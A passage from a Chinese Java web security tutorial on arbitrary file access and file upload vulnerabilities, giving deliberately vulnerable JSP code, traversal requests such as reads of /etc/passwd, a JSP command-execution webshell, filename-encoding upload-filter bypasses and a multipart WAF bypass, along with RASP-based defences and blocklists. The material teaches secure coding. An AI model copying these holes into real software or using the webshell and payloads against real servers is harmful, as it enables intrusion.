    {"text": "文件访问类漏洞 文件访问类漏洞 原文： https://www.wangan.com/docs/2004 文件访问类漏洞 本章节将讲解与Java文件或目录访问安全性问题，常见的Java文件操作相关的漏洞大致有如下类型： 1. 任意目录遍历 2. 任意文件、目录复制 3. 任意文件读取/下载 4. 任意文件、目录修改/重命名 5. 任意文件、目录删除 6. …… 我们通常把这类漏洞归为一个类型，因为产生漏洞的原因都是因为程序对文件或目录访问控制不严、程序内部逻辑错误导致的任意文件或目录恶意访问漏洞。 1. 任意文件读取 任意文件读写漏洞即因为没有验证请求的资源文件是否合法导致的，此类漏洞在Java中有着较高的几率出现，任意文件读取漏洞原理很简单，但一些知名的中间件： Weblogic 、 Tomcat 、 Resin 又或者是主流MVC框架: Spring MVC 、 Struts2 都存在此类漏洞。 示例 - 存在恶意文件读取漏洞代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % @ page import = \"java.io.FileInputStream\" % > < pre > < % File file = new File ( request . getRealPath ( \"/\" ) + request . getParameter ( \"name\" ) ) ; FileInputStream in = new FileInputStream ( file ) ; int tempbyte ; while ( ( tempbyte = in . read ( ) ) != - 1 ) { out . write ( tempbyte ) ; } in . close ( ) ; % > < / pre > 1.1 同级目录任意文件读取漏洞测试 攻击者通过传入恶意的 name 参数可以读取服务器中的任意文件: http://localhost:8000/modules/filesystem/FileInputStream.jsp?name=./index.jsp ，如下图： 1.2 读取WEB-INF/web.xml测试 当攻击者通过传入恶意的 name 参数值为 WEB-INF/web.xml 时可以读取Web应用的配置信息，请求： http://localhost:8000/modules/filesystem/FileInputStream.jsp?name=WEB-INF/web.xml ，如下图： 1.3 跨目录读取敏感文件测试 开发人员通常使用文件名、文件后缀、文件目录进行拼接的方式来获取待操作文件的绝对路径并进行相关操作，在这种情况下，攻击者如果想要查看服务器中的其他目录，则会使用 ../ 进行目录的跨越，常使用的操作是跨越目录到服务根目录，再向下寻找文件。"},
    {"text": "请求： http://localhost:8000/modules/filesystem/FileInputStream.jsp?name=../../../../../../../../../../../../etc/passwd ，如下图： 2. 写文件 示例 - 存在恶意文件写入漏洞的代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % @ page import = \"java.io.FileOutputStream\" % > < % File file = new File ( request . getParameter ( \"f\" ) ) ; FileOutputStream fos = new FileOutputStream ( file ) ; fos . write ( request . getParameter ( \"c\" ) . getBytes ( ) ) ; fos . flush ( ) ; fos . close ( ) ; out . println ( file . getAbsoluteFile ( ) + \"\\t\" + file . exists ( ) ) ; % > 2.1 跨目录写入文件测试 攻击者可能期望跨目录写入文件，如写入 SSH KEY、写入计划任务等等方式进行进一步的攻击。 请求： http://localhost:8000/modules/filesystem/file-w.jsp?f=../../a.rar&c=aaa ，如下图： 2.2 绝对路径写入文件测试 攻击者通过传入恶意的参数 f 和 c 参数可以使用绝对路径在服务器上写入恶意的 WebShell 后门或其他文件，请求： http://localhost:8000/modules/filesystem/file-w.jsp?f=/tmp/2.txt&c=webshell ，如下图： 3. 删除文件 3.1 任意文件删除测试 示例 - 存在任意文件删除漏洞代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % File file = new File ( request . getParameter ( \"file\" ) ) ; out . println ( file . delete ( ) ) ; % > 攻击者通过参入 file 参数即可删除服务器中的任意文件： 3.2 FileSystem任意文件删除测试 示例 - 存在任意文件删除漏洞代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % @ page import = \"java.lang.reflect.Method\" % > < % String file = request . getParameter ( \"file\" ) ; Method m = Class . forName ( \"java.io.DefaultFileSystem\" ) . getMethod ( \"getFileSystem\" ) ; m . setAccessible ( true ) ; Object fs = m . invoke ( null ) ; Method m2 = fs . getClass ( ) . getMethod ( \"delete\" , File . class ) ; m2 . setAccessible ( true ) ; out . print ( m2 . invoke ( fs , new File ( file ) ) ) ; % > 攻击者通过参入 file 参数即可删除服务器中的任意文件： 攻击者通过反射调用 Filesystem 并执行 delete 方法，用来绕过对 File 对象 delete 方法的防御。 4. 文件/目录复制、移动 示例 - 存在任意文件复制漏洞代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.IOException\" % > < % @ page import = \"java.nio.file.Files\" % > < % @ page import = \"java.nio.file.Path\" % > < % @ page import = \"java.nio.file.Paths\" % > < pre > < % try { Path path = Files . copy ( Paths . get ( request . getParameter ( \"source\" ) ) , Paths . get ( request . getParameter ( \"dest\" ) ) ) ; out . println ( path ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } % > < / pre > 攻击者传入恶意的 source 和 dest 参数可以实现复制任何文件到任意的目录，比如攻击者可以在用户中心上传一张内容为 WebShell 恶意代码的 1.jpg 图片文件，然后通过漏洞将 1.jpg 图片文件，复制到同级目录并更新名称为 1.jsp 的可解析脚本文件，访问 1.jsp 文件即可实现控制服务器的目的，如下图： 在实际环境中，应用系统可能根据需求在配置文件如 web.xml 中或代码层面如 filter 设置某些目录（如上传目录、资源目录等）禁止对 .jsp 脚本文件等可执行文件进行解析，因此，攻击者需要将恶意文件移动或复制到其他能够执行的目录进行解析。 请求： http://localhost:8000/modules/filesystem/files-copy.jsp?source=/tmp/1.jsp&dest=/Users/yz/Desktop/apache-tomcat-8.5.31/webapps/ROOT/1.jsp ，如下图： 5. 重命名文件 示例 - 存在文件名重命名漏洞代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % String fileName1 = request . getParameter ( \"s\" ) ; String fileName2 = request . getParameter ( \"d\" ) ; File f = new File ( fileName1 ) ; File d = new File ( fileName2 ) ; f . renameTo ( d ) ; out . println ( d + \"\\t\" + d . exists ( ) ) ; % > 攻击者传入恶意的 s 和 d 参数即可将文件名为 1.txt 的文本文件重命名为 1.jsp 可执行脚本文件，请求： http://localhost:8000/modules/filesystem/file-rename.jsp?s=/tmp/1.txt&d=/tmp/1.jsp ，如下图： 攻击者会使用重命名的方式将（txt、jpg等资源文件）重命名为可执行脚本文件（jsp）来获得 webshell 从而控制Web应用系统，并绕过某些安全防护机制。 常见的攻击手段是在文件上传时，上传包含恶意代码的图片文件，再利用重命名将其转为可执行的脚本文件。 6. 文件目录遍历 任意目录遍历漏洞顾名思义攻击者可以通过漏洞遍历出服务器操作系统中的任意目录文件名，从而导致服务器敏感信息泄漏，某些场景下(如遍历出网站日志、备份文件、管理后台等)甚至可能会导致服务器被非法入侵。"},
    {"text": "示例 - 存在任意目录遍历代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < pre > < % String [ ] files = new File ( request . getParameter ( \"dir\" ) ) . list ( ) ; for ( String file : files ) { out . println ( file ) ; } % > < / pre > 这个漏洞可能由Web应用本身的开发不规范导致，也有可能是因为 MVC框架 、 项目依赖的第三方库 、 Web服务器自身 导致的。 如果是由于自身开发不规范导致的那么需要程序严格控制用户传入目录参数是否合法！ 6.1 相对目录遍历测试 攻击者传入 dir 参数即可遍历出对应目录的所有文件， http://localhost:8000/modules/filesystem/file-list.jsp?dir=../ ，如下图： 由于攻击者传入的 dir 参数值为相对路径，可能是多级目录名称，也可能只是一个非常简单的 ../ 上级目录，大部分的 WAF 并不能精准识别这类攻击。 6.2 绝对目录遍历测试 当攻击者可以传入绝对路径进行攻击时，路径中将不会存在 ../ 等穿越目录特征，很多WAF将无法攻击阻拦，请求： http://localhost:8000/modules/filesystem/file-list.jsp?dir=/etc ，如下图： 7. IO和NIO.2的文件系统支持 7.1 使用NIO任意文件读取漏洞测试 示例 - 存在任意文件读取的NIO.2代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.IOException\" % > < % @ page import = \"java.nio.file.Files\" % > < % @ page import = \"java.nio.file.Paths\" % > < pre > < % try { byte [ ] bytes = Files . readAllBytes ( Paths . get ( request . getParameter ( \"file\" ) ) ) ; out . println ( new String ( bytes ) ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } % > < / pre > 攻击者传入恶意的 file 即可读取服务器中的任意文件： 8. 任意文件/目录访问漏洞修复 8.1 限制读取目录或文件 在读取文件或者目录的时候我们需要考虑到文件读取安全问题，严格控制用户传入参数，禁止或限制用户传入文件路径。 检测用户参数合法性代码示例(请根据具体业务需求调整判定逻辑): < % @ page import = \"java.io.File\" % > < % -- Created by IntelliJ IDEA . User : yz Date : 2019 / 12 / 4 Time : 6 : 08 下午 To change this template use File | Settings | File Templates . -- % > < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % ! // 定义限制用户遍历的文件目录常量 private static final String IMAGE_DIR = \"/data/images/\" ; % > < % // 定义需要遍历的目录 String dirStr = request . getParameter ( \"dir\" ) ; if ( dirStr != null ) { File dir = new File ( dirStr ) ; // 获取文件绝对路径，转换成标准的文件路径 String fileDir = ( dir . getAbsoluteFile ( ) . getCanonicalFile ( ) + \"/\" ) . replace ( \"\\\\\\\\\" , \"/\" ) . replaceAll ( \"/+\" , \"/\" ) ; out . println ( \"<h3>\" + fileDir + \"</h3>\" ) ; // 检查当前用户传入的目录是否包含在系统限定的目录下 if ( fileDir . startsWith ( IMAGE_DIR ) ) { File [ ] dirs = dir . listFiles ( ) ; out . println ( \"<pre>\" ) ; for ( File file : dirs ) { out . println ( file . getName ( ) ) ; } out . println ( \"</pre>\" ) ; } else { out . println ( \"目录不合法!\" ) ; } } % > 请求遍历非系统限制的目录示例： 8.2 RASP防御恶意文件访问攻击 RASP可以使用Agent机制实现Hook任意的Java类API，因此可以轻易的捕获到Java程序读取的任意文件路径。"},
    {"text": "RASP可以将Hook到的文件路径和Http请求的参数进行关联分析，检测Java读取的文件路径是否会受到Http请求参数的控制，如果发现请求参数最终拼接到了文件路径中应当立即阻断文件访问行为，并记录攻击日志。 为了提升RASP的防御能力，应当将Java SE中的所有与文件读写相关的最为底层的Java API类找出来，然后添加监视点。"},
    {"text": "Java底层操作IO的类API表（<=JDK14） | 类名 | 类型 | 重要方法 | | ———————————— | ——— | ———————————————————— | | java.io.WinNTFileSystem | java.io | delete/list/createDirectory/rename/setLastModifiedTime/listRoots | | java.io.UnixFileSystem | java.io | delete/list/createDirectory/rename/setLastModifiedTime/listRoots | | java.io.FileInputStream | java.io | open/read | | java.io.FileOutputStream | java.io | open/write | | java.io.RandomAccessFile | java.io | read/write/seek | | sun.nio.ch.FileChannelImpl | sun.nio | open/read/map/transferTo0 | | sun.nio.ch.FileDispatcher | sun.nio | read/pread/readv/write/pwrite/writev/seek | | sun.nio.ch.SocketDispatcher | sun.nio | read/readv/write/writev | | sun.nio.ch.DatagramDispatcher | sun.nio | read/readv/write/writev | | sun.nio.fs.UnixNativeDispatcher | sun.nio | fopen/read/write/getcwd/link/unlink/rename/mkdir/chown | | sun.nio.fs.WindowsNativeDispatcher | sun.nio | fopen/read/write/getcwd/link/unlink/rename/mkdir/chown | | sun.nio.fs.UnixCopyFile | sun.nio | copy/copyDirectory/copyFile/move/copyLink/copySpecial/transfer | | sun.nio.ch.IOUtil | sun.nio | read/write/randomBytes | Java IO 底层API关系图 RASP防御思路： 当RASP检测到恶意的文件访问后会立即阻断文件读取： 8.2.1 禁止文件名空字节访问 在低版本的JDK中允许文件名中包含 空字节 （俗称%00截断），为了防止该问题，RASP应当在任何文件被访问的时候检测文件名是否包含了空字节，如果有应当立即终止文件的访问。"},
    {"text": "检测文件名空字节示例代码： /** * 检查文件名中是否包含了空字节，禁止出现%00字符截断 * * @param file 访问文件 * @return 是否包含空字节 */ private static boolean nullByteValid ( File file ) { return file . getName ( ) . indexOf ( '\\u0000' ) < 1 ; } 8.2.2 禁止写入动态脚本文件 为了避免Web应用被写入恶意的WebShell后门文件，RASP应当在Web应用启动后禁止任何动态脚本的写入操作。"},
    {"text": "禁止写入如下类型的动态脚本文件： jsp,jspx,jspa,jspf,asp,asa,cer,aspx,php 文件写入检测应当处理各类文件写入事件，如： 写文件、重命名文件、复制/移动文件、移动目录 ；"},
    {"text": "RASP设置Hook点时也应当严格处理上述IO操作的类文件（一个都不能漏掉，漏掉一个几乎等于全功尽弃），如果新版本的JDK新增或修改了底层IO操作类应当做同步支持。"},
    {"text": "8.2.3 文件名和请求参数关联分析 RASP应当分析Hook到的文件路径和请求参数的关联性，分析每一个参数是否对最终Hook到的文件路径有必然的关联关系。"},
    {"text": "如传入的某个参数最终和Hook到的文件路径完全一致，那么应当立即禁止文件访问请求，因为即便用户请求的不是恶意文件也肯定是一个存在任意文件读取漏洞的业务功能，攻击者可以修改传入的参数实现读取服务器中的任意文件。"},
    {"text": "8.2.4 文件名检测规则和黑名单 攻击者在验证文件读取类漏洞时通常会使用一些常用的技巧和路径，如： WEB-INF/web.xml 、 /etc/passwd 、 ../../../../../../../etc/passwd 等。"},
    {"text": "1. JDK原始的 java.io.FileInputStream 、 java.io.FileOutputStream 类 ； 2. JDK原始的 java.io.RandomAccessFile 类 ； 3. Apache Commons IO提供的 org.apache.commons.io.FileUtils 类 ； 4. JDK1.7新增的基于NIO非阻塞异步读取文件的 java.nio.channels.AsynchronousFileChannel 类； 5. JDK1.7新增的基于NIO读取文件的 java.nio.file.Files 类。 常用方法如: Files.readAllBytes 、 Files.readAllLines ； 6. java.io.File 类的 list 、 listFiles 、 listRoots 、 delete 方法；"},
    {"text": "其次此类漏洞原理简单在渗透测试或代码审计时非常容易发现且漏洞影响重大，因为攻击者可以直接操纵服务器中的文件或目录，所以在程序开发过程中我们应该高度重视编码规范、程序逻辑严谨性防止该漏洞发生。"},
    {"text": "任意文件上传漏洞 任意文件上传漏洞 原文： https://www.wangan.com/docs/2005 任意文件上传漏洞 Web应用通常都会包含文件上传功能，用户可以将其本地的文件上传到Web服务器上。"},
    {"text": "如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了 jsp 后缀的 WebShell )就将文件写入到服务器中就可能会导致服务器被非法入侵。"},
    {"text": "1. Apache commons fileupload文件上传测试 Apache commons-fileupload 是一个非常常用的文件上传解析库， Spring MVC 、 Struts2 、 Tomcat 等底层处理文件上传请求都是使用的这个库。 示例 - Apache commons-fileupload文件上传： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"org.apache.commons.fileupload.FileItemIterator\" % > < % @ page import = \"org.apache.commons.fileupload.FileItemStream\" % > < % @ page import = \"org.apache.commons.fileupload.servlet.ServletFileUpload\" % > < % @ page import = \"org.apache.commons.fileupload.util.Streams\" % > < % @ page import = \"java.io.File\" % > < % @ page import = \"java.io.FileOutputStream\" % > < % if ( ServletFileUpload . isMultipartContent ( request ) ) { ServletFileUpload fileUpload = new ServletFileUpload ( ) ; FileItemIterator fileItemIterator = fileUpload . getItemIterator ( request ) ; String dir = request . getServletContext ( ) . getRealPath ( \"/uploads/\" ) ; File uploadDir = new File ( dir ) ; if ( ! uploadDir . exists ( ) ) { uploadDir . mkdir ( ) ; } while ( fileItemIterator . hasNext ( ) ) { FileItemStream fileItemStream = fileItemIterator . next ( ) ; String fieldName = fileItemStream . getFieldName ( ) ; // 字段名称 if ( fileItemStream . isFormField ( ) ) { String fieldValue = Streams . asString ( fileItemStream . openStream ( ) ) ; // 字段值 out . println ( fieldName + \"=\" + fieldValue ) ; } else { String fileName = fileItemStream . getName ( ) ; File uploadFile = new File ( uploadDir , fileName ) ; out . println ( fieldName + \"=\" + fileName ) ; FileOutputStream fos = new FileOutputStream ( uploadFile ) ; // 写文件 Streams . copy ( fileItemStream . openStream ( ) , fos , true ) ; out . println ( \"文件上传成功:\" + uploadFile . getAbsolutePath ( ) ) ; } } } else { % > < ! DOCTYPE html > < html lang = \"en\" > < head > < meta charset = \"UTF-8\" > < title > File upload < / title > < / head > < body > < form action = \"\" enctype = \"multipart/form-data\" method = \"post\" > < p > 用户名 : < input name = \"username\" type = \"text\" / > 文件 : < input id = \"file\" name = \"file\" type = \"file\" / > < / p > < input name = \"submit\" type = \"submit\" value = \"Submit\" / > < / form > < / body > < / html > < % } % > 示例 - 本地命令执行后门代码： < % @ page import = \"java.io.InputStream\" % > < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < pre > < % String [ ] cmd = request . getParameterValues ( \"cmd\" ) ; Process process = Runtime . getRuntime ( ) . exec ( cmd ) ; InputStream in = process . getInputStream ( ) ; int a = 0 ; byte [ ] b = new byte [ 1024 ] ; while ( ( a = in . read ( b ) ) != - 1 ) { out . println ( new String ( b , 0 , a ) ) ; } in . close ( ) ; % > < / pre > 因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞，访问示例中的文件上传地址： http://localhost:8000/modules/servlet/fileupload/file-upload.jsp ，并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门): 后门成功的写入到了网站目录： 访问命令执行后门测试： http://localhost:8000/uploads/cmd.jsp?cmd=ls ，如下图： 2. Servlet 3.0 内置文件上传解析 Servlet3.0 新增了对文件上传请求解析的支持， javax.servlet.http.HttpServletRequest#getParts ，使用 request.getParts(); 即可获取文件上传包解析后的结果，从此不再需要使用第三方jar来处理文件上传请求了。"},
    {"text": "2.1 JSP multipart-config JSP使用 request.getParts(); 必须配置 multipart-config ，否则请求时会报错： Unable to process parts as no multi-part configuration has been provided （由于没有提供multi-part配置，无法处理parts）。"},
    {"text": "在web.xml中添加如下配置： <?xml version=\"1.0\" encoding=\"UTF-8\"?> < web-app xmlns: xsi = \" http://www.w3.org/2001/XMLSchema-instance \" version = \" 3.0 \" xmlns = \" http://java.sun.com/xml/ns/javaee \" xsi: schemaLocation = \" http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd \" > < servlet > < servlet-name > file-upload-parts.jsp </ servlet-name > < jsp-file > /modules/servlet/fileupload/file-upload-parts.jsp </ jsp-file > < multipart-config > < max-file-size > 1000000 </ max-file-size > < max-request-size > 1000000 </ max-request-size > < file-size-threshold > 1000000 </ file-size-threshold > </ multipart-config > </ servlet > < servlet-mapping > < servlet-name > file-upload-parts.jsp </ servlet-name > < url-pattern > /modules/servlet/fileupload/file-upload-parts.jsp </ url-pattern > </ servlet-mapping > </ web-app > 示例 - file-upload-parts.jsp < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"org.apache.commons.io.IOUtils\" % > < % @ page import = \"java.util.Collection\" % > < % @ page import = \"java.io.File\" % > < % String contentType = request . getContentType ( ) ; // 检测是否是multipart请求 if ( contentType != null && contentType . startsWith ( \"multipart/\" ) ) { String dir = request . getSession ( ) . getServletContext ( ) . getRealPath ( \"/uploads/\" ) ; File uploadDir = new File ( dir ) ; if ( ! uploadDir . exists ( ) ) { uploadDir . mkdir ( ) ; } Collection < Part > parts = request . getParts ( ) ; for ( Part part : parts ) { String fileName = part . getSubmittedFileName ( ) ; if ( fileName != null ) { File uploadFile = new File ( uploadDir , fileName ) ; out . println ( part . getName ( ) + \": \" + uploadFile . getAbsolutePath ( ) + \"<br/>\" ) ; } else { out . println ( part . getName ( ) + \": \" + IOUtils . toString ( part . getInputStream ( ) ) + \"<br/>\" ) ; } } } else { % > < ! DOCTYPE html > < html lang = \"zh\" > < head > < meta charset = \"UTF-8\" > < title > File upload < / title > < / head > < body > < form action = \"\" enctype = \"multipart/form-data\" method = \"post\" > < p > 用户名 : < input name = \"username\" type = \"text\" / > 文件 : < input id = \"file\" name = \"file\" type = \"file\" / > < / p > < input name = \"submit\" type = \"submit\" value = \"Submit\" / > < / form > < / body > < / html > < % } % > 访问示例中的文件上传地址： http://localhost:8000/modules/servlet/fileupload/file-upload-parts.jsp ： 文件上传成功： 2.2 Servlet @MultipartConfig Servlet3.0 需要配置 @MultipartConfig 注解才能支持 multipart 解析。"},
    {"text": "示例 - FileUploadServlet代码： import org . apache . commons . io . FileUtils ; import org . apache . commons . io . IOUtils ; import javax . servlet . ServletException ; import javax . servlet . annotation . MultipartConfig ; import javax . servlet . annotation . WebServlet ; import javax . servlet . http . HttpServlet ; import javax . servlet . http . HttpServletRequest ; import javax . servlet . http . HttpServletResponse ; import javax . servlet . http . Part ; import java . io . File ; import java . io . IOException ; import java . io . PrintWriter ; import java . util . Collection ; @MultipartConfig @WebServlet ( urlPatterns = \"/FileUploadServlet\" ) public class FileUploadServlet extends HttpServlet { @Override protected void doGet ( HttpServletRequest req , HttpServletResponse resp ) throws IOException { PrintWriter out = resp . getWriter ( ) ; out . println ( \"<!DOCTYPE html>\\n\" + \"<html lang=\\\"zh\\\">\\n\" + \"<head>\\n\" + \" <meta charset=\\\"UTF-8\\\">\\n\" + \" <title>File upload</title>\\n\" + \"</head>\\n\" + \"<body>\\n\" + \"<form action=\\\"\\\" enctype=\\\"multipart/form-data\\\" method=\\\"post\\\">\\n\" + \" <p>\\n\" + \" 用户名: <input name=\\\"username\\\" type=\\\"text\\\"/>\\n\" + \" 文件: <input id=\\\"file\\\" name=\\\"file\\\" type=\\\"file\\\"/>\\n\" + \" </p>\\n\" + \" <input name=\\\"submit\\\" type=\\\"submit\\\" value=\\\"Submit\\\"/>\\n\" + \"</form>\\n\" + \"</body>\\n\" + \"</html>\" ) ; out . flush ( ) ; out . close ( ) ; } @Override protected void doPost ( HttpServletRequest request , HttpServletResponse response ) throws ServletException , IOException { PrintWriter out = response . getWriter ( ) ; String contentType = request . getContentType ( ) ; // 检测是否是multipart请求 if ( contentType != null && contentType . startsWith ( \"multipart/\" ) ) { String dir = request . getSession ( ) . getServletContext ( ) . getRealPath ( \"/uploads/\" ) ; File uploadDir = new File ( dir ) ; if ( ! uploadDir . exists ( ) ) { uploadDir . mkdir ( ) ; } Collection < Part > parts = request . getParts ( ) ; for ( Part part : parts ) { String fileName = part . getSubmittedFileName ( ) ; if ( fileName != null ) { File uploadFile = new File ( uploadDir , fileName ) ; out . println ( part . getName ( ) + \": \" + uploadFile . getAbsolutePath ( ) ) ; FileUtils . write ( uploadFile , IOUtils . toString ( part . getInputStream ( ) , \"UTF-8\" ) ) ; } else { out . println ( part . getName ( ) + \": \" + IOUtils . toString ( part . getInputStream ( ) ) ) ; } } } out . flush ( ) ; out . close ( ) ; } } 访问示例中的文件上传地址： http://localhost:8000/FileUploadServlet 文件上传成功： 3. Spring MVC文件上传 Spring MVC会自动解析 multipart/form-data 请求，将 multipart 中的对象封装到 MultipartRequest 对象中，所以在Controller中使用 @RequestParam 注解就可以映射 multipart 中的对象了，如： @RequestParam(\"file\") MultipartFile file 。"},
    {"text": "import org . javaweb . utils . FileUtils ; import org . javaweb . utils . HttpServletResponseUtils ; import org . springframework . stereotype . Controller ; import org . springframework . web . bind . annotation . RequestMapping ; import org . springframework . web . bind . annotation . RequestParam ; import org . springframework . web . bind . annotation . ResponseBody ; import org . springframework . web . multipart . MultipartFile ; import javax . servlet . http . HttpServletRequest ; import javax . servlet . http . HttpServletResponse ; import java . io . File ; import java . io . IOException ; import java . util . LinkedHashMap ; import java . util . Map ; import static org . javaweb . utils . HttpServletRequestUtils . getDocumentRoot ; @Controller @RequestMapping ( \"/FileUpload/\" ) public class FileUploadController { @RequestMapping ( \"/upload.php\" ) public void uploadPage ( HttpServletResponse response ) { HttpServletResponseUtils . responseHTML ( response , \"<!DOCTYPE html>\\n\" + \"<html lang=\\\"en\\\">\\n\" + \"<head>\\n\" + \" <meta charset=\\\"UTF-8\\\">\\n\" + \" <title>File upload</title>\\n\" + \"</head>\\n\" + \"<body>\\n\" + \"<form action=\\\"/FileUpload/upload.do\\\" enctype=\\\"multipart/form-data\\\" method=\\\"post\\\">\\n\" + \" <p>\\n\" + \" 用户名: <input name=\\\"username\\\" type=\\\"text\\\"/>\\n\" + \" 文件: <input id=\\\"file\\\" name=\\\"file\\\" type=\\\"file\\\"/>\\n\" + \" </p>\\n\" + \" <input name=\\\"submit\\\" type=\\\"submit\\\" value=\\\"Submit\\\"/>\\n\" + \"</form>\\n\" + \"</body>\\n\" + \"</html>\" ) ; } @ResponseBody @RequestMapping ( \"/upload.do\" ) public Map < String , Object > upload ( String username , @RequestParam ( \"file\" ) MultipartFile file , HttpServletRequest request ) { // 文件名称 String filePath = \"uploads/\" + username + \"/\" + file . getOriginalFilename ( ) ; File uploadFile = new File ( getDocumentRoot ( request ) , filePath ) ; // 上传目录 File uploadDir = uploadFile . getParentFile ( ) ; // 上传文件对象 Map < String , Object > jsonMap = new LinkedHashMap < String , Object > ( ) ; if ( ! uploadDir . exists ( ) ) { uploadDir . mkdirs ( ) ; } try { FileUtils . copyInputStreamToFile ( file . getInputStream ( ) , uploadFile ) ; jsonMap . put ( \"url\" , filePath ) ; jsonMap . put ( \"msg\" , \"上传成功!\" ) ; } catch ( IOException e ) { jsonMap . put ( \"msg\" , \"上传失败，服务器异常!\" ) ; } return jsonMap ; } } 访问示例中的文件上传地址： http://localhost:8000/FileUpload/upload.do ，如下图： 后门成功的写入到了网站目录： 4. 文件上传 - 编码特性 4.1 QP编码 QP编码 （ quoted-printable ）是邮件协议中的一种内容编码方式， Quoted-printable 是使用可打印的ASCII字符（如字母、数字与“=”）表示各种编码格式下的字符，以便能在7-bit数据通路上传输8-bit数据, 或者更一般地说在非8-bit clean媒体上正确处理数据，这被定义为MIME content transfer encoding 。"},
    {"text": "示例 - JavaQP编码代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"javax.mail.internet.MimeUtility\" % > < % String qp = request . getParameter ( \"qp\" ) ; String encode = MimeUtility . encodeWord ( qp ) ; String decode = MimeUtility . decodeWord ( encode ) ; out . println ( \"<pre>\\nQP-Encoding: \" + encode + \"\\nQP-Decode: \" + decode ) ; % > 字符串： 测试.jsp 编码后的结果如下： QP编码本与文件上传没有什么关系，但是由于在Java中最常用的 Apache commons fileupload 库从1.3开始支持了 RFC 2047 Header值编码，从而支持解析使用QP编码后的文件名。 上传文件的时候选一个文件名经过QP编码后的文件，如： =?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?= （测试.jsp）。 示例 - 文件上传测试： 示例 - Payload： Content - Disposition : form - data ; name = \"file\" ; filename = \"=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=\" 编码处理类： org.apache.commons.fileupload.util.mime.MimeUtility#decodeText 文件上传成功后文件名被编码成了 测试.jsp 。"},
    {"text": "Spring MVC中同样支持QP编码，在Spring中有两种处理 Multipart 的 Resolver ： org.springframework.web.multipart.commons.CommonsMultipartResolver 和 org.springframework.web.multipart.support.StandardServletMultipartResolver 。 CommonsMultipartResolver 使用的是 commons fileupload 解析的所以支持QP编码。 StandardMultipartHttpServletRequest 比较特殊，Spring 4没有处理QP编码： 但是在Spring 5修改了实现，如果文件名是 =? 开始 ?= 结尾的话会调用 javax.mail 库的 MimeDelegate 解析QP编码： javax.mail 库不是JDK自带的，必须自行引包，如果不存在该包也将无法解析，SpringBoot + Spring4默认使用的是 StandardServletMultipartResolver ，但是基于配置的Spring MVC中经常会使用 CommonsMultipartResolver ，如： < bean id = \" multipartResolver \" class = \" org.springframework.web.multipart.commons.CommonsMultipartResolver \" > < property name = \" defaultEncoding \" value = \" UTF-8 \" > </ property > < property name = \" maxUploadSize \" value = \" 50000000 \" > </ property > < property name = \" maxInMemorySize \" value = \" 1024 \" > </ property > </ bean > 4.2 Spring 内置文件名编码特性 Spring会对文件上传的名称做特殊的处理， org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest 内置了一种比较特殊的解析文件名的方式，如果传入的 multipart 请求无法直接使用 filename= 解析出文件名，Spring还会使用 content-disposition 解析一次（使用 filename*= 解析文件名）。 在文件上传时，修改 Content-Disposition 中的 filename= 为 filename*=\"UTF-8'1.jpg'1.jsp\" ： Spring4的 org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest 解析逻辑： Spring4的 org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#extractFilenameWithCharset 代码如下： extractFilenameWithCharset 支持对传入的文件名编码，示例中传入的 UTF-8'1.jpg'1.jsp 会被解析成 UTF-8 编码，最终的文件名为 1.jsp ，而 1.jpg 则会被丢弃。 Spring5的 org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest 除了支持QP编码以外，优化了Spring4的解析文件名的方式： org.springframework.http.ContentDisposition#parse 代码： 文件上传成功： 示例 - Payload： Content - Disposition : form - data ; name = \"file\" ; filename *= \"1.jsp\" Content - Disposition : form - data ; name = \"file\" ; filename *= \"UTF-8'1.jpg'1.jsp\" Content - Disposition : form - data ; name = \"file\" ; filename *= \"UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=\" 5. Multipart字段解析问题 在2013年左右，测试过非常多的WAF都不支持Multipart解析，当时经常使用Multipart请求方式来绕过WAF。 Multipart所以使用请求与普通的GET/POST参数传输有非常大的区别，因为Multipart请求需要后端Web应用解析该请求包，Web容器也不会解析Multipart请求。 WAF可能会解析Multipart但是很多时候可以直接绕过，比如很多WAF无法处理一个数据量较大的Multipart请求或者解析Multipart时不标准导致绕过。 在PHP中默认会解析Multipart请求，也就是说我们除了可以以GET/POST方式传参，还可以使用发送Multipart请求，后端一样可以接受到Multipart中的参数。 在Java的MVC框架中Spring MVC、Struts2等实现了和PHP类似的功能，当框架发现请求方式是Multipart时就会主动的解析并将解析结果封装到 HttpServletRequest 中。 示例 - Spring MVC 注入代码片段： @ResponseBody @RequestMapping ( \"/getArticleById.php\" ) public SysArticle getArticleByID ( String id ) { return jdbcTemplate . queryForObject ( \"select * from sys_article where id = \" + id , BeanPropertyRowMapper . newInstance ( SysArticle . class ) ) ; } 访问示例程序： http://localhost:8000/getArticleById.php?id=100000 ： 使用 Multipart 